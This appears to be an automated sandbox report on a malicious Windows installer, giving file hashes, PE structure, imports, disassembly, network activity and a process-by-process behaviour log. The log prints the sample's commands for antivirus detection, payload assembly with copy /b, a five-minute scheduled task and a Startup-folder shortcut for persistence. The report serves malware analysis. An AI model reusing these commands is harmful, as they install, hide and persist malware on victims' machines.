                                          Preview:.}.G.'.3.Q_sa.0YZY'../..<=8....._xT....c...`.....Pl.r.w.^...:n......\....G.E;1../.nX...Z..7....d=Oe...w....=...Q..Q..0!@.F!p.<<.@..$u.@.$..%0.*j...:.g9.?Q...Zo.w.u....Yn.@..H..n.....^{.D'.Uy.'.%\....m..O.y.1.#3.<.mk......s..\z.....Y.[.=..TT..{.C...I.\%..s1.+..],.7*.&RuS.eu....hQ{...,.s....N@.u:....R...X....V.B....?...@;..H.&.O...4pI|..h].....~...D.4..v.Q....3{.9aw.Z.....q......&....BX..Z5K.I.......]S..w~x.....Oc-..f2N....."..Jk......J...R..)..Qjg.~_H..i....}Z.(2J`.#Nt.q#...?{...,.z..L.N........j,..$....).V.).bY....!...B.5i....}*....,,.f..E..5...k..7)yo..*G..8.p..Lr?{.Tr..l........P..3..u....E......d.L=....pb....&..B..r.....k.O.....L\7z.6.ksC...]|..)c.Z..d(....:i..T~.NF.y.vc|...W@+.d?)1.....l.....?.#.?...bQ..>.T....<.%.{.vr.mv..c....Oy\...(.d/..:...xh.|..."&.6.~R.{.Q+(.Mc=&.O..x....9!....?%a.E[..{cMf6...x!.|.....D-;#..!i<X28b..9....E..=c.O..........y..F..,...P....|....C.|.......!...2.W...w.D.e...F.....z:...;.m.....g....jW6....c.2.bV8m

                                          C:\Users\user\AppData\Local\Temp\Wesley

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):60416
                                          Entropy (8bit):7.996954682224348
                                          Encrypted:true
                                          SSDEEP:1536:1D2GpOVYsfqqv6HwtxJ1Y3wNJ4MwqD/q82mSOLXoUb3MGyA:1D2G0VYsfqOAwtxLKwNJQc/smSM7b3f
                                          MD5:D44CF7A22A55B3A4F00CB0487077A976
                                          SHA1:3CC2FFE8A71CCACE6C960FBB96F59F5EF1923D3B
                                          SHA-256:5E6343866115CAB6A45DEAE3D997108D9D38A29C2F5411664D545C5D036AA725
                                          SHA-512:C976F59400A25336C76AFF9D40E81063E55EA999036599E1D1A082178BFAEA0ED91F6B5F301A9A8B2D79BD0040948172A9B2D3EB9118B40EEC1E402E60331373
                                          Malicious:false
                                          Preview:.V.T.!Kj..Y$....S..)...[..*.`.C....,}.SQ..a.q*G.j...*.6.~.8Cy........g..gv....Y.JS.$7pu..P..W.5.O....R.c]P\..YO.......k.../.4-....4.....O....:...o*......!...t..:..<.2..#...E.l`.X..!CW.+..............[5H...zdg..$!.\0........U.....k...g...q[..........u.H...J..s.......Z.J....#.;._1.$.9..~.ZwZ.]..P.|.$...+.=-~....`....=..q.`.....Eg..T`.....I...V2...:...|....-.;t..:...=.O.VoGHZ....^.KE..p%7..c&.tj.)M|...Q.N..'...q6..J.....u...y.?.W'(......'.4ji,.ZcW}.8.<.x...Z..q.._'u.5.s-3..............c...26E.]..m.....og.4....WMGld.+..#2.2.,....*.....A.|.B^..^.n)......`...9Xt..o h...p;G..t...v...5......q.N...l......^_..J.z....Xv3...D.....g...$.R.b&'..]d*...P..3)}...#.x.r.@$m.Y...........H.:+..j..%..l..c.....]..b.5[l8.S.'7.......,N..{gljI.^+...?B..V@.........O.L..i.h...>.=.......&~.........y..Jt......,.=..o..b.....q`j...`...........1....N.q..........8>4.L5.%b.u....B.q....s.K.....L|..[...,.w...v.Y6.0....+.....ll.;.:..q.det..nh...)`l.y=..r./......<l.......!n

                                          C:\Users\user\AppData\Local\Temp\Wire

                                          Download File
                                          Process:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):86016
                                          Entropy (8bit):7.997865850422182
                                          Encrypted:true
                                          SSDEEP:1536:og+kD7dex74SpwDwQRRBSrSZTIMUeb81rFyqheQiKIFF0FFzX3PD6:ogrD7deV4owpRRBPZTIMlLqheQiKS0F4
                                          MD5:B471046A9262AFD7E3D2F92CA6491166
                                          SHA1:E84925E58952C869227880E426AFB8CD9C07B7A9
                                          SHA-256:578039840A13F711610A0048D723BCF64D1BF5844DA53D0C3959A6DEEC7CFCA6
                                          SHA-512:AC321081300E1AEFE7706C66348733F3750E59938EF4E80A5BCE1AEBE076BDF1267CCEEF43CF1FA1B03A7BF07255C462FC3EEC83AD32B93D914F4299AE53F9FE
                                          Malicious:false
                                          Preview:.eC%....n.,..pP..".`...B?6.^..2b>..P..t.)9_.........U.q}.Xl...>.'.i.q.G}...f..J.^W.s...M..q8z7..e.*.J..pB.."..V.".;;*.a.QC.:.D.X4...a...1.#...r....[..,.1..D...m...Yj[@lc.V.{[.../..\..#.....3......;.B..H....Z.|k.........."..T.9..si..4.U...c.......(.e.J.M..w[.D5^US..;....br..N....6.|>..H%.Da.<`>..uBo.*..R.)..z}..:Q.4.q..I..5".u.C.H...Q.+...,M.?.A..#@|.).Bly.0.G..5...... .....fy...o..J.J.u.H...2.V.z7["heE..,O......b.....y.d.[G/.g..(d:.O.Y%.....v..kv........v\..7.W.].q).P..|.;.m......uy#..u.Q&*..]......)..)d.{...`c.6..;9-.....l|..`.\y..e|O.._aSi.....<.^ro..*...`R...G_>e.zh6R,...Me$v.......Q......x...>{....9.|$!..px..X..0..Y.ysQ+.G.f'......+..0y:}I.=...P...?..4Q..Q5I.K..;.j~...i.);.........uM..`~U'.3y..|k.......c.9..0.n....r....c.p.5./...l..n..s....j\.M|.spJP.r......'p..6.s .r.}.E..3.....v,.vh....^C.FT.P/.....u.VL.2... cK...0[+.f.'/tq...l.6......+..(bZ.@.....o..M...)v...-h8.0.....I...vX.0mL..@7....N..3.-...ha..[M..d.....f(.F[..r......

                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url

                                          Download File
                                          Process:C:\Windows\SysWOW64\cmd.exe
                                          File Type:MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" >), ASCII text, with CRLF line terminators
                                          Category:dropped
                                          Size (bytes):100
                                          Entropy (8bit):4.792949440895037
                                          Encrypted:false
                                          SSDEEP:3:HRAbABGQaFyw3pYot+kiE2J52A3EJ01+FyNc:HRYF5yjowkn232AUJ0IFn
                                          MD5:313B9EEB836F9D4D395E007B3D03FA08
                                          SHA1:BBDC0E202DE277C5CBF47813ED366E4458D417ED
                                          SHA-256:BA103B92F9DDE102EFC6AB64651E9223591523A3076D1ABC2AC75B8FDA23161C
                                          SHA-512:D64AA2EE844BCE602B3E67C3F33D6BCAD53F5A54FD3EE1B5665F0010F4194A00C4E22E2CF3A1816F1D19005D80756E4CF5CA7C0CDD4879C56CC825FBFF7D08CC
                                          Malicious:true
                                          Preview:[InternetShortcut] ..URL="C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" ..

                                          Static File Info

                                          General

                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                          Entropy (8bit):7.827189910944366
                                          TrID:
                                          • Win32 Executable (generic) a (10002005/4) 99.96%
                                          • Generic Win/DOS Executable (2004/3) 0.02%
                                          • DOS Executable Generic (2002/1) 0.02%
                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                          File name:e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          File size:1'414'800 bytes
                                          MD5:db2a12edc73769f2f2b6b01545afe2c3
                                          SHA1:73dc44fb0753296f51b851299f468031ceb77b54
                                          SHA256:e6db7d34b498982601b2c45ac5b2a1c1b9502e502514ccffae9862f2aa719f42
                                          SHA512:dadf36bc9c5d88c28b9064892cc263c912ce668435b71802df756c0a4e680f8407011d36498a2511dda7165aea866c0ae794f9ec8fbcc42c7da1661399316ce4
                                          SSDEEP:24576:UzZ1Futzu9df939+wlQ+u6M6NrPLyPts+5+OgoSsKWF5DcJ14lWCqMYDe1EpmqIu:UvF4a9d9tnlQ+u96NyPtP5+1GKWF5gzn
                                          TLSH:846523837F90B2B1F2F09873B14A8A334F67BC2217930997A7197713A952412E74BF56
                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.ydx..7x..7x..7_Hz7{..7_Hl7i..7x..7...7q..7s..7q..7y..7q..7y..7Richx..7........................PE..L....l.K.................h.

                                          File Icon

                                          Icon Hash:1970e0f2faec7811

                                          Static PE Info

                                          General

                                          Entrypoint:0x403415
                                          Entrypoint Section:.text
                                          Digitally signed:false
                                          Imagebase:0x400000
                                          Subsystem:windows gui
                                          Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                                          DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE
                                          Time Stamp:0x4BC06CDA [Sat Apr 10 12:19:38 2010 UTC]
                                          TLS Callbacks:
                                          CLR (.Net) Version:
                                          OS Version Major:5
                                          OS Version Minor:0
                                          File Version Major:5
                                          File Version Minor:0
                                          Subsystem Version Major:5
                                          Subsystem Version Minor:0
                                          Import Hash:bf95d1fc1d10de18b32654b123ad5e1f

                                          Entrypoint Preview

                                          Instruction
                                          sub esp, 000002D4h
                                          push ebx
                                          push ebp
                                          push esi
                                          push edi
                                          push 00000020h
                                          xor ebp, ebp
                                          pop esi
                                          mov dword ptr [esp+18h], ebp
                                          mov dword ptr [esp+10h], 00408570h
                                          mov dword ptr [esp+14h], ebp
                                          call dword ptr [00408030h]
                                          push 00008001h
                                          call dword ptr [004080B4h]
                                          push ebp
                                          call dword ptr [004082B0h]
                                          push 00000008h
                                          mov dword ptr [0047B398h], eax
                                          call 00007F77BCB53E9Ch
                                          push ebp
                                          push 000002B4h
                                          mov dword ptr [0047B2B0h], eax
                                          lea eax, dword ptr [esp+38h]
                                          push eax
                                          push ebp
                                          push 0040856Ch
                                          call dword ptr [00408180h]
                                          push 00408554h
                                          push 004732A0h
                                          call 00007F77BCB53D6Ah
                                          call dword ptr [004080B0h]
                                          push eax
                                          mov edi, 004CC0A0h
                                          push edi
                                          call 00007F77BCB53D58h
                                          push ebp
                                          call dword ptr [00408130h]
                                          cmp word ptr [004CC0A0h], 0022h
                                          mov dword ptr [0047B2B8h], eax
                                          mov eax, edi
                                          jne 00007F77BCB5173Ah
                                          push 00000022h
                                          pop esi
                                          mov eax, 004CC0A2h
                                          push esi
                                          push eax
                                          call 00007F77BCB53A2Ch
                                          push eax
                                          call dword ptr [00408250h]
                                          mov esi, eax
                                          mov dword ptr [esp+1Ch], esi
                                          jmp 00007F77BCB517C1h
                                          push 00000020h
                                          pop ebx
                                          cmp ax, bx
                                          jne 00007F77BCB51739h
                                          inc esi
                                          inc esi
                                          cmp word ptr [esi], bx
                                          je 00007F77BCB5172Bh

                                          Rich Headers

                                          Programming Language:
                                          • [ C ] VS2005 build 50727
                                          • [IMP] VS2005 build 50727
                                          • [ C ] VS2008 SP1 build 30729
                                          • [LNK] VS2008 SP1 build 30729

                                          Data Directories

                                          NameVirtual AddressVirtual Size Is in Section
                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x8afc0xb4.rdata
                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0xfd0000x20ba8.rsrc
                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_IAT0x80000x2c0.rdata
                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                          Sections

                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                          .text0x10000x671c0x68008bb8f6dca80ad27cbdbce9816ab6ae7cFalse0.6644381009615384data6.50478910452928IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                          .rdata0x80000x19d60x1a00161b329b4c70ce4fbd9c1143e738896bFalse0.4480168269230769data5.026839717718007IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                          .data0xa0000x7139c0x200140876ba314e7bc36379ee5c6db80876False0.271484375data1.7360077526852977IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          .ndata0x7c0000x810000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                          .rsrc0xfd0000x20ba80x20c00b2e5acfe8ecdd9b9c997145d9be621afFalse0.30429985687022904data3.926508664724272IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                          Resources

                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                          RT_ICON0xfd2200x11028Device independent bitmap graphic, 128 x 256 x 32, image size 69632EnglishUnited States0.28367206338270756
                                          RT_ICON0x10e2480x9928Device independent bitmap graphic, 96 x 192 x 32, image size 39168EnglishUnited States0.3115690675372373
                                          RT_ICON0x117b700x5638Device independent bitmap graphic, 72 x 144 x 32, image size 22032EnglishUnited States0.34034070315331644
                                          RT_ICON0x11d1a80x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.5611702127659575
                                          RT_DIALOG0x11d6100x100dataEnglishUnited States0.5234375
                                          RT_DIALOG0x11d7100x11cdataEnglishUnited States0.6056338028169014
                                          RT_DIALOG0x11d8300x60dataEnglishUnited States0.7291666666666666
                                          RT_GROUP_ICON0x11d8900x3edataEnglishUnited States0.8387096774193549
                                          RT_MANIFEST0x11d8d00x2d6XML 1.0 document, ASCII text, with very long lines (726), with no line terminatorsEnglishUnited States0.5647382920110193

                                          Imports

                                          DLLImport
                                          KERNEL32.dllSetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, MulDiv, lstrlenA, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
                                          USER32.dllScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, FindWindowExW, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, IsWindow
                                          GDI32.dllSetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
                                          SHELL32.dllSHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
                                          ADVAPI32.dllRegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
                                          COMCTL32.dllImageList_AddMasked, ImageList_Destroy, ImageList_Create
                                          ole32.dllCoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
                                          VERSION.dllGetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

                                          Possible Origin

                                          Language of compilation systemCountry where language is spokenMap
                                          EnglishUnited States

                                          Network Behavior

                                          Network Port Distribution

                                          UDP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Aug 31, 2024 10:01:57.218146086 CEST6114953192.168.2.41.1.1.1
                                          Aug 31, 2024 10:01:57.237687111 CEST53611491.1.1.1192.168.2.4

                                          DNS Queries

                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                          Aug 31, 2024 10:01:57.218146086 CEST192.168.2.41.1.1.10x26bcStandard query (0)CvcMEMMQKdoWtsiZdkN.CvcMEMMQKdoWtsiZdkNA (IP address)IN (0x0001)false

                                          DNS Answers

                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                          Aug 31, 2024 10:01:57.237687111 CEST1.1.1.1192.168.2.40x26bcName error (3)CvcMEMMQKdoWtsiZdkN.CvcMEMMQKdoWtsiZdkNnonenoneA (IP address)IN (0x0001)false

                                          Statistics

                                          CPU Usage

                                          Click to jump to process

                                          Memory Usage

                                          Click to jump to process

                                          High Level Behavior Distribution

                                          Click to dive into process behavior distribution

                                          Behavior

                                          Click to jump to process

                                          System Behavior

                                          General

                                          Target ID:0
                                          Start time:04:01:53
                                          Start date:31/08/2024
                                          Path:C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
                                          Wow64 process (32bit):true
                                          Commandline:"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"
                                          Imagebase:0x400000
                                          File size:1'414'800 bytes
                                          MD5 hash:DB2A12EDC73769F2F2B6B01545AFE2C3
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:low
                                          Has exited:true

                                          General

                                          Target ID:1
                                          Start time:04:01:53
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\cmd.exe
                                          Wow64 process (32bit):true
                                          Commandline:"C:\Windows\System32\cmd.exe" /k move Luck Luck.bat & Luck.bat & exit
                                          Imagebase:0x240000
                                          File size:236'544 bytes
                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:2
                                          Start time:04:01:53
                                          Start date:31/08/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:3
                                          Start time:04:01:54
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\tasklist.exe
                                          Wow64 process (32bit):true
                                          Commandline:tasklist
                                          Imagebase:0xf50000
                                          File size:79'360 bytes
                                          MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:4
                                          Start time:04:01:54
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\findstr.exe
                                          Wow64 process (32bit):true
                                          Commandline:findstr /I "wrsa opssvc"
                                          Imagebase:0x9c0000
                                          File size:29'696 bytes
                                          MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:5
                                          Start time:04:01:54
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\tasklist.exe
                                          Wow64 process (32bit):true
                                          Commandline:tasklist
                                          Imagebase:0xf50000
                                          File size:79'360 bytes
                                          MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:6
                                          Start time:04:01:54
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\findstr.exe
                                          Wow64 process (32bit):true
                                          Commandline:findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
                                          Imagebase:0x9c0000
                                          File size:29'696 bytes
                                          MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:7
                                          Start time:04:01:55
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\cmd.exe
                                          Wow64 process (32bit):true
                                          Commandline:cmd /c md 684126
                                          Imagebase:0x240000
                                          File size:236'544 bytes
                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:8
                                          Start time:04:01:55
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\findstr.exe
                                          Wow64 process (32bit):true
                                          Commandline:findstr /V "VegetablesIndividualBindingGba" Ever
                                          Imagebase:0x9c0000
                                          File size:29'696 bytes
                                          MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:9
                                          Start time:04:01:55
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\cmd.exe
                                          Wow64 process (32bit):true
                                          Commandline:cmd /c copy /b ..\Wire + ..\Qualified + ..\Manufacturers + ..\Wesley + ..\Haiti + ..\Done + ..\Drop + ..\Runner + ..\Defend + ..\Judy + ..\Dow C
                                          Imagebase:0x240000
                                          File size:236'544 bytes
                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:high
                                          Has exited:true

                                          General

                                          Target ID:10
                                          Start time:04:01:55
                                          Start date:31/08/2024
                                          Path:C:\Users\user\AppData\Local\Temp\684126\Intake.pif
                                          Wow64 process (32bit):true
                                          Commandline:Intake.pif C
                                          Imagebase:0xdd0000
                                          File size:893'608 bytes
                                          MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Antivirus matches:
                                          • Detection: 5%, ReversingLabs
                                          • Detection: 9%, Virustotal, Browse
                                          Reputation:low
                                          Has exited:false

                                          General

                                          Target ID:11
                                          Start time:04:01:55
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\choice.exe
                                          Wow64 process (32bit):true
                                          Commandline:choice /d y /t 5
                                          Imagebase:0xfe0000
                                          File size:28'160 bytes
                                          MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:moderate
                                          Has exited:true

                                          General

                                          Target ID:12
                                          Start time:04:01:56
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\cmd.exe
                                          Wow64 process (32bit):true
                                          Commandline:cmd /c schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F
                                          Imagebase:0x240000
                                          File size:236'544 bytes
                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:13
                                          Start time:04:01:56
                                          Start date:31/08/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:14
                                          Start time:04:01:56
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\schtasks.exe
                                          Wow64 process (32bit):true
                                          Commandline:schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F
                                          Imagebase:0x440000
                                          File size:187'904 bytes
                                          MD5 hash:48C2FE20575769DE916F48EF0676A965
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:15
                                          Start time:04:01:56
                                          Start date:31/08/2024
                                          Path:C:\Windows\SysWOW64\cmd.exe
                                          Wow64 process (32bit):true
                                          Commandline:cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & echo URL="C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & exit
                                          Imagebase:0x240000
                                          File size:236'544 bytes
                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:16
                                          Start time:04:01:56
                                          Start date:31/08/2024
                                          Path:C:\Windows\System32\conhost.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          Imagebase:0x7ff7699e0000
                                          File size:862'208 bytes
                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:17
                                          Start time:04:01:56
                                          Start date:31/08/2024
                                          Path:C:\Windows\System32\wscript.exe
                                          Wow64 process (32bit):false
                                          Commandline:C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js"
                                          Imagebase:0x7ff7160f0000
                                          File size:170'496 bytes
                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:18
                                          Start time:04:01:57
                                          Start date:31/08/2024
                                          Path:C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif
                                          Wow64 process (32bit):true
                                          Commandline:"C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"
                                          Imagebase:0x310000
                                          File size:893'608 bytes
                                          MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Antivirus matches:
                                          • Detection: 5%, ReversingLabs
                                          • Detection: 9%, Virustotal, Browse
                                          Has exited:true

                                          General

                                          Target ID:19
                                          Start time:04:02:08
                                          Start date:31/08/2024
                                          Path:C:\Windows\System32\wscript.exe
                                          Wow64 process (32bit):false
                                          Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js"
                                          Imagebase:0x7ff7160f0000
                                          File size:170'496 bytes
                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                          Has elevated privileges:false
                                          Has administrator privileges:false
                                          Programmed in:C, C++ or other language
                                          Has exited:true

                                          General

                                          Target ID:20
                                          Start time:04:02:08
                                          Start date:31/08/2024
                                          Path:C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif
